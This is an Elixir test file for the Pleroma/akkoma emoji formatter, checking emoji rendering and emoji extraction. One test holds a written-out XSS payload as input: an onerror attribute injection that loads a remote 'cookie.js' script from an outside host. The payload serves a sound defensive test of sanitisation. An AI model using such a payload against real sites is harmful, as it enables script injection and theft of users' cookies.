8b510f48bb35435dace8a7f11d98dd5410cbefc9
[akkoma] / test / emoji / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.Emoji.FormatterTest do
6 alias Pleroma.Emoji.Formatter
7 use Pleroma.DataCase
8
9 describe "emojify" do
10 test "it adds cool emoji" do
11 text = "I love :firefox:"
12
13 expected_result =
14 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
15
16 assert Formatter.emojify(text) == expected_result
17 end
18
19 test "it does not add XSS emoji" do
20 text =
21 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
22
23 custom_emoji = %{
24 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
25 "https://placehold.it/1x1"
26 }
27
28 expected_result =
29 "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
30
31 assert Formatter.emojify(text, custom_emoji) == expected_result
32 end
33 end
34
35 describe "get_emoji" do
36 test "it returns the emoji used in the text" do
37 text = "I love :firefox:"
38
39 assert Formatter.get_emoji(text) == [
40 {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
41 ]
42 end
43
44 test "it returns a nice empty result when no emojis are present" do
45 text = "I love moominamma"
46 assert Formatter.get_emoji(text) == []
47 end
48
49 test "it doesn't die when text is absent" do
50 text = nil
51 assert Formatter.get_emoji(text) == []
52 end
53 end
54 end